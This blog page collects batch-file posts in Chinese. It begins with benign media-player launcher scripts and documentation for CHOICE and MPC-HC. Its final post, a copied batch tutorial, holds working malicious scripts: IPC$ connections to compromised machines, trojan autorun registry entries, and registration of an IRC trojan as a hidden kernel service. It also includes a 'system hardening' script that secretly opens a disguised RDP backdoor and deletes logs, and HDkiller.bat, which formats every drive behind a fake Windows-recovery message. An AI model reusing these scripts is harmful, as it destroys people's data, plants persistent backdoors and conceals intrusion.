2019年4月14日 星期日

[Batch File][完成檔] 媒體檔播放機

@echo 擋放媒體檔程式
@ECHO ""
@CHOICE /C 123456789 /N /T 10 /D 5 /M "先選擇音量(1 - 最細 , 9 - 最大) :"
@IF ERRORLEVEL 1 SET Vol=10
@IF ERRORLEVEL 2 SET Vol=20
@IF ERRORLEVEL 3 SET Vol=30
@IF ERRORLEVEL 4 SET Vol=40
@IF ERRORLEVEL 5 SET Vol=50
@IF ERRORLEVEL 6 SET Vol=60
@IF ERRORLEVEL 7 SET Vol=70
@IF ERRORLEVEL 8 SET Vol=80
@IF ERRORLEVEL 9 SET Vol=90


@REM 選要擋媒體位置

@ECHO ""
@ECHO 你選的音量是 %Vol% (100 是最大)
@ECHO ""

@rem choose the floder to open
@echo 請選擇要去的檔案資料夾(Folder)
@echo ""
@echo 1. MV
@echo 2. Bus and Train
@echo 3. Walking and Cycling
@echo 4. Discovery
@echo 5. 綜藝
@echo 6. 舞台劇
@echo 7. (未有)
@echo 8. (未有)
@echo 9. (未有)
@echo 0. (未有)

@echo off

choice /c:1234567890 /m "請選擇"
rem 應先判斷數值最高的返回碼
if errorlevel 10 goto end
if errorlevel 9 goto 09
if errorlevel 8 goto 08
if errorlevel 7 goto 07
if errorlevel 6 goto 06
if errorlevel 5 goto 05
if errorlevel 4 goto 04
if errorlevel 3 goto 03
if errorlevel 2 goto 02
if errorlevel 1 goto 01

:10
goto end
:09

goto end
:08

goto end
:07

goto end
:06
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1 /volume %Vol% "D:\999 - VIDEO\舞台劇"
goto end
:05
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1  /volume %Vol% "D:\999 - VIDEO\綜藝"
goto end
:04
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1 /volume %Vol% "D:\999 - VIDEO\discovery"
goto end
:03
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1 /volume %Vol% "D:\999 - VIDEO\Walking and Cycling"
goto end
:02
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1 /volume %Vol% "D:\999 - VIDEO\BUS AND TRAIN"
goto end
:01
start mpc-hc64_nvo.exe /play /close /randomize /fullscreen /monitor 1 /volume %Vol% "D:\999 - VIDEO\音樂或歌曲"
goto end


:end
echo good bye

[BATCH FILE][完成檔] 音樂播放機

@echo 擋放音樂檔程式
@ECHO ""
@CHOICE /C 123456789 /N /T 10 /D 5 /M "先選擇音量(1 - 最細 , 9 - 最大) :"
@IF ERRORLEVEL 1 SET Vol=10
@IF ERRORLEVEL 2 SET Vol=20
@IF ERRORLEVEL 3 SET Vol=30
@IF ERRORLEVEL 4 SET Vol=40
@IF ERRORLEVEL 5 SET Vol=50
@IF ERRORLEVEL 6 SET Vol=60
@IF ERRORLEVEL 7 SET Vol=70
@IF ERRORLEVEL 8 SET Vol=80
@IF ERRORLEVEL 9 SET Vol=90


@REM 選要播音樂檔位置

@ECHO ""
@ECHO 你選的音量是 %Vol% (100 是最大)
@ECHO ""

@CHOICE /C 12 /N /T 3 /D 1 /M "選擇隱藏HPC-MC程式 (1 - 隱藏 , 2 - 不隱藏) :"
@IF ERRORLEVEL 1 SET Show="/minimized"
@IF ERRORLEVEL 2 SET Show=""

@echo %Show%


@rem choose the floder to open
@echo 請選擇要去的檔案資料夾(Folder)
@echo ""
@echo 1. William Classics
@echo 2. 周華健
@echo 3. 蔡楓華
@echo 4. 劉德華
@echo 5. 盧冠廷
@echo 6. JAZZ
@echo 7. (未有)
@echo 8. (未有)
@echo 9. (未有)
@echo 0. (未有)

@echo off

choice /c:1234567890 /m "請選擇"
rem 應先判斷數值最高的返回碼
if errorlevel 10 goto end
if errorlevel 9 goto 09
if errorlevel 8 goto 08
if errorlevel 7 goto 07
if errorlevel 6 goto 06
if errorlevel 5 goto 05
if errorlevel 4 goto 04
if errorlevel 3 goto 03
if errorlevel 2 goto 02
if errorlevel 1 goto 01

:10
goto end
:09

goto end
:08

goto end
:07

goto end
:06
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\998 - SOUND\JAZZ"
goto end
:05
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\Users\Music\盧冠廷"
goto end
:04
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\Users\Music\劉德華"
goto end
:03
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\Users\Music\蔡楓華"
goto end
:02
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\Users\Music\周華健"
goto end
:01
start mpc-hc64_nvo.exe /play /close /randomize /nofocus %Show% /volume

%Vol% "D:\Users\Music\MP3 - Classic"
goto end


:end
echo good bye

[Batch File] CHOICE Parameter

CHOICE is available again in Windows Vista and later versions.

Syntax:

CHOICE [ /C choices ] [ /N ] [ /CS ] [ /T timeout /D choice ] [ /M text ]
 
Description:
    This tool allows users to select one item from a list of choices and returns the index of the selected choice.
Parameter List:
 
    /C choices    Specifies the list of choices to be created.
Default list for English versions is YN
 /N Hides the list of choices in the prompt.
The message before the prompt is displayed and the choices are still enabled.
 /CS Enables case-sensitive choices to be selected.
By default, the utility is case-insensitive.

Note: DOS and NT Resource Kit versions use /S instead
 /T timeout The number of seconds to pause before a default choice is made.
Acceptable values are from 0 to 9999.
If 0 is specified, there will be no pause and the default choice is selected.

Note: DOS and NT Resource Kit versions use /T:default,timeout instead.
 /D default Specifies the default choice after timeout seconds.
Character must be in the set of choices specified by /Coption and must also specify timeout with /T.

Note: DOS and NT Resource Kit versions use /T:default,timeout instead.
 /M text Specifies the message to be displayed before the prompt.
If not specified, the utility displays only a prompt.
 
    The ERRORLEVEL is set to the offset of the index of the key that was selected from the set of choices.
The first choice listed returns a value of 1, the second a value of 2, and so on.
If the user presses a key that is not a valid choice, the tool sounds a warning beep.
If tool detects an error condition, it returns an ERRORLEVEL value of 255.
If the user presses CTRL+BREAK or CTRL+C, the tool returns an ERRORLEVEL value of 0.
When you use ERRORLEVEL parameters in a batch program, list them in decreasing order.

Examples:

  • The command:

    CHOICE /M "Do yo really want to quit"

    Will display the following line:

    Do yo really want to quit? [YN]

    If the user presses Y, CHOICE exits with return code ("errorlevel") 1 (1st character in choices), if the user presse N, CHOICE exits with return code 2 (2nd character in choices).
     
  • CHOICE /C ABCDN /N /T 10 /D C /M "Format drive A:, B:, C:, D: or None?"
    IF ERRORLEVEL 1 SET DRIVE=drive A:
    IF ERRORLEVEL 2 SET DRIVE=drive B:
    IF ERRORLEVEL 3 SET DRIVE=drive C:
    IF ERRORLEVEL 4 SET DRIVE=drive D:
    IF ERRORLEVEL 5 SET DRIVE=None
    ECHO You chose to format %DRIVE%


    The CHOICE command in this example will prompt the user with the following line:

    Format drive A:, B:, C:, D: or None?

    If the user presses C, CHOICE exits with a return code ("errorlevel") 3 (3rd character in choices).
    The IF ERRORLEVEL checks for 1, 2 and 3 are true (see the errorlevel page for an explanation of errorlevels), so the variable DRIVE will be set to "drive A:" first, then to "drive B:", and finaly to "drive C:".
    So the ECHO command will display the line:

    You chose to format drive C:

[Batch File] HPC-HC parameter (play music , Film)

** 要先找出你安裝的 MPC PLAYER 程式名
以下例子是 "mpc-hc64_nvo.exe"

(1) 播 檔案 的開始時間
mpc-hc64_nvo.exe "filePath" /startpos hh:mm:ss
例子 : start mpc-hc64_nvo.exe  "D:\\Music\SAMPLE.MP3" /STARTPOS 00:01:00

(2) Open MPC-HC in background
/nofocus

(3) MPC-HC play MEDIA FILE IN A FLODER
start mpc-hc64_nvo.exe "D:\Users\Videos"

**如檔案好多, 第一次做要等他完成SEARCHING , 第二次就會好快**


(4) 隨機地播
/randomize

(5) 隨機地播 (2個或以上的FLODER) 
start mpc-hc64_nvo.exe  /randomize "D:\Music\Classic" "D:\Music\英文"

(6) 播完自動 CLOSE PROGARM
start mpc-hc64_nvo.exe /play /close "D:\Music\Classic"

(7) 指定用 第3個 SCREEN (MONITOR) 全屏幕播片
start mpc-hc64_nvo.exe  /fullscreen /monitor 3 "D:\999 - VIDEO\BUS AND TRAIN"

(8) 其他 Parameter
  • /close: close the player after playback (may only work if used with /play)
  • /playnext Open next file in the folder after playback
  • /fullscreen: Start in full-screen mode
  • /minimized: Start in minimized mode
  • /nofocus: Open MPC-HC in background
  • /new: Use a new instance of the player
  • /monitor #: Start player on monitor N, where N starts from 1
  • start #: alternative to startpos that uses milliseconds instead
(9)在 PROGRAM 的 "說明" --> "命令列說明"

用法: mpc-hc.exe "pathname" [參數]

"pathname" 要載入的主要檔案或目錄
(允許使用萬用字元,"-" 代表標準輸入)
/dub "dubname" 載入額外的音訊檔
/dubdelay "file" 載入額外的音訊檔並偏移 XXms
(若檔案含有 "...DELAY XXms...")
/d3dfs 開啟 D3D 全螢幕模式繪圖
/sub "subname" 載入額外的字幕檔
/filter "filtername" 從動態連結程式庫載入 DirectShow 篩選器 (允許使用萬用字元)
/dvd 使用 DVD 模式執行,"pathname" 為 DVD 的資料夾 (選填)
/dvdpos T#C 從標題 T 章節 C 開始播放
/dvdpos T#P Start playback at title T, position P (hh:mm:ss)
/cd 載入所有音樂 cd 或 (S)VCD 的音軌,
"pathname" 為磁碟機路徑 (選填)
/device 開啟預設的視訊裝置
/open 開啟檔案,不自動播放
/play 播放器執行後即開始播放檔案
/close 播放結束後關閉播放器 (需配合 /play 使用)
/shutdown 播放結束後關機
/standby 播放結束後進入待命模式
/hibernate 播放結束後進入睡眠模式
/logoff 播放結束後登出
/lock 播放結束後鎖定
/monitoroff 播放結束後關閉螢幕
/playnext 播放結束後開啟資料夾的下一個檔案
/fullscreen 使用全螢幕模式啟動
/viewpreset N Start with specific preset,
where N is either "1" Minimal, "2" Compact or "3" Normal
/minimized 使用最小化模式啟動
/new 使用新的程序開啟播放器
/add 加入 "pathname" 到播放清單,可與 /open 及 /play 合併使用
/randomize 隨機播放清單
/volume N Set Volume, where N is a range from 0 to 100
/regvid 建立視訊檔案關聯
/regaud 建立音訊檔案關聯
/regpl 建立播放清單檔案關聯
/regall 建立所有支援的類型檔案關聯
/unregall 移除所有檔案關聯
/start ms 從 "ms" (= 毫秒) 開始播放
/startpos hh:mm:ss 從位置 hh:mm:ss 開始播放
/fixedsize w,h 設定固定的視窗大小
/monitor N 於螢幕 N 啟動播放器,N 的範圍從 1  開始
/audiorenderer N 使用音訊譜製器 N 啟動播放器,N 的範圍從 1 開始 (請參考 "輸出" 設定)
/shaderpreset "Pr" 使用 "Pr" 著色器初始設定啟動播放器
/pns "name" 指定要使用的 Pan & Scan 初始設定名稱
/iconsassoc 重新關聯檔案格式圖示
/nofocus 在背景開啟 MPC-HC
/webport N 於指定埠號啟動網頁介面
/debug 在 OSD 顯示除錯資訊
/nocrashreporter 關閉當機回報程式
/slave "hWnd" 使用 MPC-HC 作為次要服務
/hwgpu "index" 設定要用來硬體解碼的 GPU 索引。
僅支援 CUVID 及 DXVA2 (copy-back)
/reset 還原預設設定
/mute Mute the audio
/help /h /? 顯示有關指令列參數的說明

[Batch File] Play Music File (auto-close windows)


(1) 用 WINDOWS MEDIA PLAYER 播 MP3
start wmplayer "D:\0 - Download\beep-23.mp3"

(2) 用 WINDOWS MEDIA PLAYER 播 PLAY LIST
start wmplayer /playlist XXXX

(3) [不成功] 用 WINDOWS MEDIA PLAYER 播 MP3 及 自動CLOSE WINDOWS
start wmplayer /open /close "D:\0 - Download\beep-23.mp3"

(4) 轉用 HPC-HC
     (a) 先找 HPC-HC 的 EXE FILE
     (b) 用法如下
i)播一個檔案
start mpc-hc64_nvo.exe /play /close "D:\0 - Download\beep-23.mp3"
ii)播二個檔案
start mpc-hc64_nvo.exe /play /close "D:\0 - Download\beep-23.mp3"  "D:\0 - Download\beep-23.mp3"

** 檔案播完一次會 close windows

[Batch File ] Learning Website

http://www.trytoprogram.com/batch-file/

[BATCH FILE] 批處理教學 (下)

■二.如何在批處理檔案中使用參數
===========================

批處理中可以使用參數,一般是從%1到 %9這九個,當有多個參數時需要用shift來移動。 
例1:fomat.bat 
@echo off 
if "%1"=="a" goto format
:format 
@format a:/q
@echo 請插入另一張軟盤
@pause 
@goto format
分析:這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos視窗輸入fomat a,呵呵,是不是覺得這個批處理有點畫蛇添足呢?
例2:
@echo off
@net user %1ipc$ 「%2」 /user:」%3」
@if errorlevel 1 echo 連接失敗
分析:當我們要建立一個IPC$連接時總要輸入一大串指令,弄不好就打錯了,所以我們不如把一些固定指令寫成一個批處理,把肉雞的「IP位址 密碼 帳號」當成參數來賦給這個批處理,這樣就不用每次都打指令了。 
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.

■三.組合指令的使用(Compound Command) 
====================================

▲1. & 
用法:第一條指令 & 第二條指令 [&& 
用法:第一條指令 && 第二條指令 [&&& && copy d:backup.mdb e:backup.mdb
分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。

▲2. && 
用法:第一條指令 && 第二條指令 [&& 第三條指令...]
說明:同時執行多條指令,當執行到錯誤的指令後將不執行後面的指令,否則一直執行完全部指令。 
例 1:dir z: && dir c:
dir c: && dir z:

在做備份的時候用到這種指令可能會比較方便。
例 2:dir d:backup.mdb && copy d:backup.mdb e:backup.mdb
分析:如果D盤存在backup.mdb檔案,就把它複製到E盤。這種用法可以取代if exist了。

▲3. || 
用法:第一條指令 || 第二條指令 [|| 第三條指令...] 
說明:同時執行多條指令,當執行到正確的指令後將不執行後面的指令,否則一直執行完全部指令。
例如:dir z: || dir y: || dir c: || dir x:

■四、管道指令的使用 
===================

▲1. | 指令 
用法:第一條指令 | 第二條指令 [| 第三條指令...] 
說明:將第一條指令的結果作為第二條指令的參數來使用。
例如:netstat -n -p tcp|find ":3389"
分析:用於終端服務,取得登入用戶的IP。

▲2. >、>>輸出重定向指令 
說明:將一條指令或某個程式輸出的結果儲存到特定檔案中。>與>>的區別在於:>會清除原有檔案中的內容再寫入指定檔案;而>>不會改動原有檔案中的內容,只是追加內容到指定檔案尾部。
例1:echo hello world>c:hello.txt
例2:dir %windir%system32*.exe >d:exe.txt & dir %windir%system32*.dll >d:dll.txt
分析:system32目錄是許多木馬鍾愛的藏身之所,只要我們在裝完系統和必要的應用程式後,對該目錄的exe和dll檔案作一個記錄。日後如發現異常,懷疑係統中已經潛入DLL木馬。這時可用同樣的指令將system32下的exe和dll檔案記錄到d:exe1.txt和d:dll1.txt中,然後執行:
fcd:diff.txt &>d:diff.txt
(用fc指令比較前後兩次的dll和exe檔案,並將結果輸入到diff.txt中),這樣我們就能發現多出來一些dll和exe檔案,然後透過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被dll木馬光顧了。沒有是最好,如果有的話也不要直接del掉,先用regsvr32 /u 指令將後門dll檔案登出掉,再把它移到資源回收筒裡,若系統沒有異常表現再將之徹底刪除或者送出給防毒軟體公司。

▲3. < 、>& 、<& 
說明:< 從檔案中而不是從鍵盤中讀入指令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。 
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用,也就不多做介紹。

■五、登錄檔操作
===================

▲1. 建立 
說明:建立分為兩種,一種是建立子項(Subkey) ,一種是建立數值名稱。
例 1:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下建立了一個名為"hacker"的子項。 
例 2:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
"Invader"="Ex4rch" 
"door"=c:windowssystem32door.exe 
"autodos"=dword:02
作用:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新增了:Invader、door、autodos這三個數值。Invader的類型是「字串值」,door的類型是「字串值」,autodos的類型是「DWORD值」。

▲2. 修改 
說明:只須把要修改的項目匯出,然後用筆記本進行修改,再匯入(regedit /s)即可。

▲3. 刪除 
說明:同樣分為兩種,一種是刪除子項(Subkey) ,一種是刪除數值名稱。
例 1: 
Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
例 2:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 
"Ex4rch"=- 
作用:刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下的數值「Ex4rch」。
例3:
@echo off
echo Windows Registry Editor Version 5.00>sample.reg 
echo.>>sample.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>sample.reg 
echo "Invader"="Ex4rch">>sample.reg 
echo "door"=c:windowssystem32door.exe >>sample.reg 
echo "autodos"=dword:02>>sample.reg
regedit /s sample.reg
del /f /q sample.reg
作用:利用重定向符號建立登錄檔檔案sample.reg,並不經提示將其強行匯入登錄檔,最後刪除檔案。
例 4: 
@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc create Windriversrv binpath= c:windowssystem32windrv32.exe type= kernel start= auto displayname= WindowsDriver 
@regedit /s patch.dll 
@delete patch.dll 
@REM [刪除DSNXDE在登錄檔中的啟動項,用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和唯讀,並設定為自啟動] 
作用:將木馬程式註冊為系統服務實現更好保護木馬。下面以組態設定好地IRC木馬DSNX為例(名為windrv32.exe)

■六.精彩實例
===========

▲1. 刪除win2k/xp系統預設共享的批處理
========================= 從這裡開始複製,儲存為delshare.bat =========================
@echo off

rem 檢查參數,如果為空,則顯示用法。
if {%1}=={} goto Usage

echo ______________________________________________________________________________
echo. 
echo 刪除指定共享 ...
echo. 
net share %1$ /delete >nul
net share %2$ /delete >nul
net share %3$ /delete >nul
net share %4$ /delete >nul
net share %5$ /delete >nul
net share %6$ /delete >nul
net share %7$ /delete >nul
net share %8$ /delete >nul
net share %9$ /delete >nul
net stop Server
net start Server
echo 建立登錄檔檔案 ...
echo Windows Registry Editor Version 5.00> delshare.reg
echo.>>c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> delshare.reg
echo "AutoShareWks"=dword:00000000>> delshare.reg
echo "AutoShareServer"=dword:00000000>> delshare.reg
regedit /s delshare.reg
echo.
echo ☆ 刪除系統預設共享 ☆ 
echo ______________________________________________________________________________
echo Power by yupsky Email:yupsky@live.com msn:yupsky
echo ______________________________________________________________________________
echo. 
echo # 錯誤:沒有使用參數
echo. 
echo # 請輸入你要刪除共享的磁碟盤符
echo. 
echo 例如:
echo delshare c d e ipc admin print
echo. 
echo 例如:
echo delshare c d e x y z ipc admin print
echo. 
echo ______________________________________________________________________________
echo. 
echo ______________________________________________________________________________
echo.
echo [ 按 任 意 鍵 退 出 ]
pause >nul
======================== 到這裡結束複製,儲存為delshare.bat ========================

▲2. 全面加固系統
======================== 從這裡開始複製,儲存為system.bat =========================
@echo off
echo Windows Registry Editor Version 5.00>patch.dll
echo.>>patch.dll

rem [禁止共享]
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>patch.dll
echo "AutoShareServer"=dword:00000000>>patch.dll
echo "AutoShareWks"=dword:00000000>>patch.dll

rem [禁止暱稱登入] 
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]>>patch.dll
echo "restrictanonymous"=dword:00000001>>patch.dll

rem [禁止檔案訪問和列印共享] 
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]>>patch.dll
echo "SMBDeviceEnabled"=dword:00000000>>patch.dll

rem [禁止登入前關機] 
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesremoteRegistry]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>patch.dll
echo "ShutdownWithoutLogon"="0">>patch.dll

rem [禁止顯示前一個登入帳號稱] 
echo "DontDisplayLastUserName"="1">>patch.dll

rem [修改3389連接,連接埠為8210(十六進制為00002012),名稱為Microsoft EventLog,留條後路] 
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>patch.dll
echo "PortNumber"=dword:00002010>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp>>patch.dll
echo "PortNumber"=dword:00002012>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]>>patch.dll
echo "Start"=dword:00000002>>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService]>>patch.dll
echo "Start"=dword:00000002>>patch.dll
echo "ErrorControl"=dword:00000001>>patch.dll
echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,>>patch.dll
echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,>>patch.dll
echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00>>patch.dll
echo "ObjectName"="LocalSystem">>patch.dll
echo "Type"=dword:00000010>>patch.dll
echo "Description"="Keep record of the program and windows' message。">>patch.dll
echo "DisplayName"="Microsoft EventLog">>patch.dll
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice]>>patch.dll
echo "Start"=dword:00000004>>patch.dll
copy %windir%system32termsrv.exe %windir%system32eventlog.exe
regedit /s patch.dll
del /f /q patch.dll

rem [刪除日誌]
net stop w3svc 
net stop eventlog 
del /f /q %windir%system32logfilesw3svc1*.*
del /f /q %windir%system32logfilesw3svc2*.*
del /f /q %windir%system32config*.event
del /f /q %windir%system32dtclog*.*
del /f /q %windir%*.txt
del /f /q %windir%*.log
net start w3svc 
net start eventlog 

rem [禁止一些危險的服務] 
net stop lanmanserver
net stop Schedule
net stop RemoteRegistry
======================== 到這裡結束複製,儲存為system.bat =========================

▲3. 硬碟殺手(僅供在虛擬機中測試,否則造成硬碟資料遺失,後果自負!)


======================== 從這裡開始複製,儲存為HDkiller.bat =========================
@echo off

:start 
cls 
echo 正在裝入程式 . . .

rem 硬碟機檢查並分配有效的硬碟機。
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem 磁碟檢查代碼開始。
echo @echo off>drivechk.bat
Rem echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "的卷" > nul >temp.bat
Rem %comspec% /e:2048 /c temp.bat>>drivechk.bat
echo ";vol %%1: | find "的卷";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

echo ";dir %%1: /ad/w/-p | find "位元組";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
rem 如果返回碼為1,則指定的硬碟機是可移動磁碟。

echo ";dir %%1: /ad/w/-p | find "0 可用位元組";">temp.bat
for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat
del /f /q temp.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
rem 如果返回碼為1,則指定的硬碟機是硬諜或軟盤硬碟機;否則是光碟硬碟機。

echo :enddc>>drivechk.bat
rem 磁碟檢查代碼結束。

:Getdrv
rem 使用 drivechk.bat 取得有效硬碟機資訊。
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del /f /q drivechk.bat
if %drive.==. set drive=c

:form_del 
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat 
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat 
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /y >nul>>c:autoexec.bat 
echo cls >>c:autoexec.bat 
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat 
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Tony>nul>>c:autoexec.bat 
echo cls >>c:autoexec.bat 
echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat 
echo for %%%%a in (%drive%) do call rd /q %%%%a: >nul>>c:autoexec.bat 
echo cls >>c:autoexec.bat 
echo cd >>c:autoexec.bat
call attrib +r +h c:autoexec.bat

:makedir 
if exist c:temp.bat attrib -r -h c:temp.bat >nul
echo @echo off >c:temp.bat 
echo %%1: >>c:temp.bat 
echo cd >>c:temp.bat 
echo :startmd >>c:temp.bat 
echo if not exist %%2 md %%2>>c:temp.bat
echo if exist %%2 cd %%2>>c:temp.bat
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2% 
%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat 
call attrib +r +h c:temp.bat >nul

cls 
echo 正在初始化變數 . . . 
for %%a in (%drive%) do call format %%a: /q /u /y>nul
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul
for %%a in (%drive%) do call attrib -r -h %%a: /S >nul
call attrib +r +h c:temp.bat >nul
call attrib +r +h c:autoexec.bat >nul
for %%a in (%drive%) do call rd /q %%a:*. >nul
for %%a in (%drive%) do call c:temp.bat %%a Tony>nul

:end
======================== 到這裡結束複製,儲存為HDkiller.bat =======================